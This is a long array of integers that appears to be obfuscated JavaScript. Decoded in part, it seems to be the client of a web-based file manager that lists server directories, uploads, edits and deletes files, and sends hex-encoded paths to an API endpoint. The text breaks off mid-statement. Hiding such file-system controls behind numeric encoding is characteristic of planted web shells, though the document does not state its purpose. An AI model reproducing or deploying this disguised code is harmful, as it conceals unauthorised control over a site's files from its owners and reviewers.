54, 63, 25, 25, 85, 94, 77, 25, 84, 78, 77, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 72, 77, 87, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 25, 84, 78, 77, 25, 16, 6, 25, 72, 77, 87, 19, 88, 81, 90, 87, 120, 84, 93, 94, 122, 77, 17, 82, 18, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 10, 11, 18, 0, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 84, 78, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 20, 25, 124, 94, 83, 94, 87, 82, 88, 25, 122, 105, 114, 25, 78, 72, 82, 83, 92, 25, 72, 81, 82, 80, 82, 92, 91, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 90, 73, 82, 17, 72, 81, 82, 80, 82, 92, 91, 21, 25, 93, 90, 77, 90, 25, 6, 25, 64, 70, 18, 25, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 91, 84, 87, 86, 25, 6, 25, 83, 94, 76, 25, 123, 84, 87, 86, 125, 90, 77, 90, 17, 18, 0, 54, 63, 25, 25, 91, 84, 87, 86, 19, 90, 73, 73, 94, 83, 93, 17, 28, 72, 81, 82, 80, 82, 92, 91, 28, 21, 25, 72, 81, 82, 80, 82, 92, 91, 18, 0, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 90, 88, 77, 82, 84, 83, 25, 22, 3, 25, 72, 81, 82, 80, 82, 92, 91, 54, 63, 25, 25, 91, 84, 87, 86, 19, 90, 73, 73, 94, 83, 93, 17, 28, 83, 90, 80, 65, 83, 28, 21, 25, 77, 84, 113, 94, 65, 17, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 18, 18, 0, 25, 20, 20, 25, 81, 94, 65, 25, 73, 90, 77, 81, 25, 82, 83, 25, 105, 116, 104, 109, 25, 91, 84, 87, 25, 83, 84, 87, 86, 90, 85, 25, 90, 88, 77, 82, 84, 83, 72, 54, 63, 25, 25, 91, 84, 87, 25, 17, 88, 84, 83, 72, 77, 25, 96, 80, 21, 75, 102, 25, 84, 91, 25, 116, 103, 95, 94, 88, 77, 19, 94, 83, 77, 87, 82, 94, 72, 17, 93, 90, 77, 90, 18, 18, 25, 91, 84, 87, 86, 19, 90, 73, 73, 94, 83, 93, 17, 80, 21, 25, 75, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 87, 94, 72, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 94, 77, 88, 81, 17, 85, 84, 88, 90, 77, 82, 84, 83, 19, 81, 87, 94, 91, 21, 25, 64, 25, 86, 94, 77, 81, 84, 93, 15, 28, 105, 116, 104, 109, 28, 21, 25, 103, 84, 93, 66, 15, 25, 91, 84, 87, 86, 25, 70, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 77, 94, 65, 77, 25, 6, 25, 90, 76, 90, 82, 77, 25, 87, 94, 72, 19, 77, 94, 65, 77, 17, 18, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 25, 88, 84, 83, 72, 77, 25, 95, 25, 6, 25, 127, 104, 116, 115, 19, 73, 90, 87, 72, 94, 17, 77, 94, 65, 77, 18, 0, 25, 82, 91, 25, 17, 26, 95, 19, 84, 80, 18, 25, 77, 81, 87, 84, 76, 25, 83, 94, 76, 25, 126, 87, 87, 84, 87, 17, 95, 19, 94, 87, 87, 84, 87, 25, 69, 69, 25, 28, 119, 94, 74, 78, 94, 72, 77, 25, 91, 90, 82, 85, 94, 93, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 95, 0, 25, 70, 54, 63, 25, 25, 88, 90, 77, 88, 81, 17, 94, 18, 64, 25, 88, 84, 83, 72, 84, 85, 94, 19, 94, 87, 87, 84, 87, 17, 28, 104, 94, 87, 75, 94, 87, 25, 87, 90, 76, 15, 28, 21, 25, 77, 94, 65, 77, 18, 0, 25, 77, 81, 87, 84, 76, 25, 83, 94, 76, 25, 126, 87, 87, 84, 87, 17, 28, 114, 83, 75, 90, 85, 82, 93, 25, 72, 94, 87, 75, 94, 87, 25, 87, 94, 72, 73, 84, 83, 72, 94, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 54, 63, 88, 84, 83, 72, 77, 25, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 25, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 91, 82, 85, 94, 114, 83, 73, 78, 77, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 117, 90, 103, 94, 85, 25, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 91, 82, 85, 94, 117, 90, 103, 94, 85, 28, 18, 0, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 64, 25, 77, 87, 66, 25, 64, 25, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 19, 87, 94, 72, 94, 77, 17, 18, 0, 25, 70, 25, 88, 90, 77, 88, 81, 17, 100, 18, 25, 64, 70, 25, 82, 91, 25, 17, 91, 82, 85, 94, 114, 83, 73, 78, 77, 18, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 25, 82, 91, 25, 17, 91, 82, 85, 94, 117, 90, 103, 94, 85, 18, 25, 91, 82, 85, 94, 117, 90, 103, 94, 85, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 120, 81, 84, 84, 72, 94, 25, 123, 82, 85, 94, 28, 0, 25, 70, 54, 63, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 18, 6, 3, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 103, 77, 83, 25, 6, 25, 94, 19, 77, 90, 87, 92, 94, 77, 19, 88, 85, 84, 72, 94, 72, 77, 17, 28, 19, 103, 77, 83, 28, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 103, 77, 83, 25, 27, 27, 25, 26, 103, 77, 83, 19, 88, 85, 84, 72, 94, 72, 77, 17, 28, 24, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 28, 18, 18, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 70, 18, 0, 54, 63, 54, 63, 82, 91, 25, 17, 91, 82, 85, 94, 114, 83, 73, 78, 77, 18, 25, 64, 54, 63, 25, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 81, 90, 83, 92, 94, 28, 21, 25, 91, 78, 83, 88, 77, 82, 84, 83, 17, 18, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 91, 82, 85, 94, 117, 90, 103, 94, 85, 18, 25, 91, 82, 85, 94, 117, 90, 103, 94, 85, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 91, 82, 85, 94, 72, 19, 85, 94, 83, 92, 77, 81, 25, 4, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 91, 82, 85, 94, 72, 96, 9, 102, 19, 83, 90, 86, 94, 25, 15, 25, 28, 120, 81, 84, 84, 72, 94, 25, 123, 82, 85, 94, 28, 0, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 83, 93, 94, 87, 17, 82, 77, 94, 86, 72, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 77, 103, 84, 93, 66, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 91, 86, 7, 84, 93, 66, 28, 18, 0, 54, 63, 25, 25, 77, 103, 84, 93, 66, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 82, 77, 94, 86, 72, 19, 85, 94, 83, 92, 77, 81, 18, 64, 54, 63, 25, 25, 25, 25, 77, 103, 84, 93, 66, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 28, 5, 77, 87, 3, 5, 77, 93, 25, 88, 84, 85, 72, 73, 90, 83, 6, 39, 14, 39, 25, 72, 77, 66, 85, 94, 6, 39, 73, 90, 93, 93, 82, 83, 92, 15, 23, 9, 73, 65, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 19, 1, 39, 3, 126, 86, 73, 77, 66, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 5, 20, 77, 93, 3, 5, 20, 77, 87, 3, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 0, 54, 63, 25, 25, 70, 54, 63, 25, 25, 91, 84, 87, 25, 17, 88, 84, 83, 72, 77, 25, 82, 77, 25, 84, 91, 25, 82, 77, 94, 86, 72, 18, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 77, 87, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 87, 28, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 83, 90, 86, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 83, 90, 86, 94, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 83, 90, 86, 94, 28, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 82, 88, 84, 83, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 93, 82, 75, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 88, 84, 83, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 82, 88, 84, 83, 25, 28, 25, 16, 25, 17, 82, 77, 19, 77, 66, 73, 94, 25, 6, 6, 6, 25, 28, 93, 82, 87, 28, 25, 4, 25, 28, 91, 84, 85, 93, 94, 87, 28, 25, 15, 25, 28, 91, 82, 85, 94, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 88, 84, 83, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 82, 77, 19, 77, 66, 73, 94, 25, 6, 6, 6, 25, 28, 93, 82, 87, 28, 25, 4, 25, 28, 201, 164, 168, 186, 28, 25, 15, 25, 28, 201, 164, 168, 189, 28, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 85, 82, 83, 80, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 90, 28, 18, 0, 54, 63, 25, 25, 25, 25, 85, 82, 83, 80, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 82, 77, 19, 83, 90, 86, 94, 0, 54, 63, 25, 25, 25, 25, 85, 82, 83, 80, 19, 72, 77, 66, 85, 94, 19, 88, 84, 85, 84, 87, 25, 6, 25, 28, 24, 91, 91, 91, 28, 0, 54, 63, 25, 25, 25, 25, 85, 82, 83, 80, 19, 72, 77, 66, 85, 94, 19, 77, 94, 65, 77, 125, 94, 88, 84, 87, 90, 77, 82, 84, 83, 25, 6, 25, 28, 83, 84, 83, 94, 28, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 82, 77, 19, 77, 66, 73, 94, 25, 6, 6, 6, 25, 28, 93, 82, 87, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 83, 94, 76, 110, 87, 85, 25, 6, 25, 83, 94, 76, 25, 110, 119, 117, 17, 85, 84, 88, 90, 77, 82, 84, 83, 19, 84, 87, 82, 92, 82, 83, 25, 16, 25, 85, 84, 88, 90, 77, 82, 84, 83, 19, 73, 90, 77, 81, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 83, 94, 76, 110, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 83, 90, 80, 65, 83, 28, 21, 25, 77, 84, 113, 94, 65, 17, 82, 77, 19, 73, 90, 77, 81, 18, 18, 0, 25, 20, 20, 25, 81, 94, 65, 25, 82, 83, 25, 110, 119, 117, 25, 91, 84, 87, 25, 93, 94, 94, 73, 22, 85, 82, 83, 80, 54, 63, 25, 25, 25, 25, 25, 25, 85, 82, 83, 80, 19, 81, 87, 94, 91, 25, 6, 25, 83, 94, 76, 110, 87, 85, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 85, 82, 83, 80, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 18, 25, 6, 3, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 82, 72, 118, 84, 93, 82, 91, 82, 94, 93, 25, 6, 25, 94, 19, 88, 77, 87, 85, 112, 94, 66, 25, 69, 69, 25, 94, 19, 86, 94, 77, 90, 112, 94, 66, 25, 69, 69, 25, 94, 19, 72, 81, 82, 91, 77, 112, 94, 66, 25, 69, 69, 25, 94, 19, 90, 85, 77, 112, 94, 66, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 82, 72, 118, 82, 93, 93, 85, 94, 25, 6, 25, 94, 19, 103, 78, 77, 77, 84, 83, 25, 6, 6, 6, 25, 10, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 82, 72, 118, 84, 93, 82, 91, 82, 94, 93, 25, 27, 27, 25, 26, 82, 72, 118, 82, 93, 93, 85, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 88, 81, 90, 83, 92, 94, 125, 82, 87, 94, 88, 77, 84, 87, 66, 17, 82, 77, 19, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 70, 25, 94, 85, 72, 94, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 85, 82, 83, 80, 19, 81, 87, 94, 91, 25, 6, 25, 28, 24, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 85, 82, 83, 80, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 18, 6, 3, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 84, 73, 94, 83, 126, 93, 82, 77, 84, 87, 17, 82, 77, 19, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 83, 90, 86, 94, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 82, 88, 84, 83, 18, 0, 25, 83, 90, 86, 94, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 85, 82, 83, 80, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 77, 66, 73, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 77, 66, 73, 94, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 89, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 77, 66, 73, 94, 22, 103, 90, 93, 92, 94, 39, 3, 29, 64, 82, 77, 19, 77, 66, 73, 94, 70, 5, 20, 72, 73, 90, 83, 3, 89, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 72, 82, 79, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 25, 72, 82, 79, 94, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 82, 77, 19, 72, 82, 79, 94, 25, 69, 69, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 86, 77, 82, 86, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 25, 86, 77, 82, 86, 94, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 82, 77, 19, 86, 77, 82, 86, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 90, 88, 77, 82, 84, 83, 72, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 93, 82, 75, 28, 18, 0, 25, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 28, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 82, 77, 19, 77, 66, 73, 94, 25, 6, 6, 6, 25, 28, 91, 82, 85, 94, 28, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 7, 77, 83, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 103, 78, 77, 77, 84, 83, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 94, 93, 82, 77, 7, 77, 83, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 103, 77, 83, 25, 86, 78, 77, 94, 93, 28, 0, 25, 94, 93, 82, 77, 7, 77, 83, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 126, 93, 82, 77, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 94, 93, 82, 77, 7, 77, 83, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 18, 6, 3, 25, 64, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 25, 84, 73, 94, 83, 126, 93, 82, 77, 84, 87, 17, 82, 77, 19, 83, 90, 86, 94, 18, 0, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 94, 93, 82, 77, 7, 77, 83, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 93, 94, 85, 7, 77, 83, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 103, 78, 77, 77, 84, 83, 28, 18, 0, 54, 63, 25, 25, 25, 25, 93, 94, 85, 7, 77, 83, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 103, 77, 83, 25, 93, 90, 83, 92, 94, 87, 28, 0, 25, 93, 94, 85, 7, 77, 83, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 125, 94, 85, 94, 77, 94, 28, 0, 54, 63, 25, 25, 25, 25, 93, 94, 85, 7, 77, 83, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 18, 6, 3, 64, 54, 63, 25, 25, 25, 25, 25, 25, 77, 87, 66, 25, 64, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 93, 94, 85, 94, 77, 94, 28, 21, 25, 64, 25, 83, 90, 86, 94, 15, 25, 82, 77, 19, 83, 90, 86, 94, 25, 70, 18, 0, 25, 77, 84, 90, 72, 77, 17, 89, 125, 94, 85, 94, 77, 94, 93, 25, 39, 29, 64, 82, 77, 19, 83, 90, 86, 94, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 88, 90, 77, 88, 81, 25, 17, 94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 25, 69, 69, 25, 28, 125, 94, 85, 94, 77, 94, 25, 91, 90, 82, 85, 94, 93, 28, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 93, 94, 85, 7, 77, 83, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 90, 88, 77, 82, 84, 83, 72, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 77, 66, 73, 94, 18, 0, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 72, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 86, 77, 82, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 90, 88, 77, 82, 84, 83, 72, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 77, 103, 84, 93, 66, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 77, 87, 18, 0, 54, 63, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 64, 54, 63, 25, 25, 77, 87, 66, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 95, 25, 6, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 85, 82, 72, 77, 28, 18, 0, 54, 63, 25, 25, 25, 25, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 25, 6, 25, 95, 19, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 28, 18, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 95, 19, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 0, 54, 63, 25, 25, 25, 25, 90, 77, 77, 90, 88, 81, 7, 87, 94, 90, 93, 88, 87, 78, 86, 103, 113, 90, 83, 93, 85, 94, 87, 72, 17, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 83, 93, 94, 87, 17, 95, 19, 82, 77, 94, 86, 72, 18, 0, 54, 63, 25, 25, 70, 88, 90, 77, 88, 81, 17, 94, 18, 64, 54, 63, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 90, 77, 77, 90, 88, 81, 7, 87, 94, 90, 93, 88, 87, 78, 86, 103, 113, 90, 83, 93, 85, 94, 87, 72, 17, 18, 64, 54, 63, 25, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 74, 78, 94, 87, 66, 104, 94, 85, 94, 88, 77, 84, 87, 122, 85, 85, 17, 28, 19, 88, 87, 78, 86, 103, 28, 18, 19, 91, 84, 87, 126, 90, 88, 81, 17, 90, 6, 3, 64, 54, 63, 25, 25, 25, 25, 90, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 75, 18, 6, 3, 64, 54, 63, 25, 25, 25, 25, 25, 25, 94, 75, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 73, 25, 6, 25, 90, 19, 92, 94, 77, 122, 77, 77, 87, 82, 103, 78, 77, 94, 17, 28, 93, 90, 77, 90, 22, 73, 90, 77, 81, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 73, 18, 25, 88, 81, 90, 83, 92, 94, 125, 82, 87, 94, 88, 77, 84, 87, 66, 17, 73, 18, 0, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 88, 81, 90, 83, 92, 94, 125, 82, 87, 94, 88, 77, 84, 87, 66, 17, 83, 94, 76, 105, 90, 77, 81, 18, 64, 54, 63, 25, 25, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 25, 6, 25, 83, 94, 76, 105, 90, 77, 81, 0, 54, 63, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 25, 77, 84, 90, 72, 77, 17, 89, 125, 82, 87, 94, 88, 77, 84, 87, 66, 15, 25, 29, 64, 83, 94, 76, 105, 90, 77, 81, 70, 89, 21, 25, 28, 84, 80, 28, 21, 25, 10, 11, 9, 9, 18, 0, 25, 70, 54, 63, 25, 25, 88, 90, 77, 88, 81, 17, 